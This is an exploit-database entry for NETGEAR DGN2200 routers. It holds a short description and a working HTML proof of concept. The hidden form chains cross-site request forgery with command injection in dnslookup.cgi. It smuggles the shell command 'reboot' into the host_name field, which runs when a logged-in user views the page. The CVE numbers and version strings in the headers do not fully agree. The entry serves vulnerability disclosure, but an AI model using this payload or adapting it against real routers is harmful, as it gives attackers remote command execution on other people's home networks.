NETGEAR DGN2200v1/v2/v3/v4 - Cross-Site Request Forgery



EKU-ID: 6335 CVE: 2017-6334 OSVDB-ID:
Author: SivertPL Published: 2017-03-01 Verified: Verified
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# Exploit Title: NETGEAR Firmware DGN2200v1/v2/v3/v4 CSRF which leads to RCE through CVE-2017-6334
# Date: 2017-02-28
# Exploit Author: SivertPL
# Vendor Homepage: http://netgear.com/
# Software Link: http://www.downloads.netgear.com/files/GDC/DGN2200/DGN2200%20Firmware%20Version%201.0.0.20%20-%20Initial%20Release%20(NA).zip
# Version: 10.0.0.20 (initial) - 10.0.0.50 (latest, still 0-day!)
# Tested on: DGN2200v1,v2,v3,v4
 
# CVE: CVE-2017-6366
 
A quite dangerous CSRF was discovered on all DGN2200 firmwares.
When chained with either CVE-2017-6077 or CVE-2017-6334, allows for unauthenticated (sic!) RCE after tricking somebody logged in to the router to view a website.
 
<!DOCTYPE html>
<html>
    <title>netgear router CSRF</title>
    <body>
        <form method="POST" action="http://192.168.0.1/dnslookup.cgi">
            <input type="hidden" name="host_name" value="www.google.com; reboot"> <!-- CVE-2017-6334 payload -->
            <input type="hidden" name="lookup" value="Lookup">
            <button name="clc" value="clc">Would You Dare To?</button>
        </form>
    </body>
</html>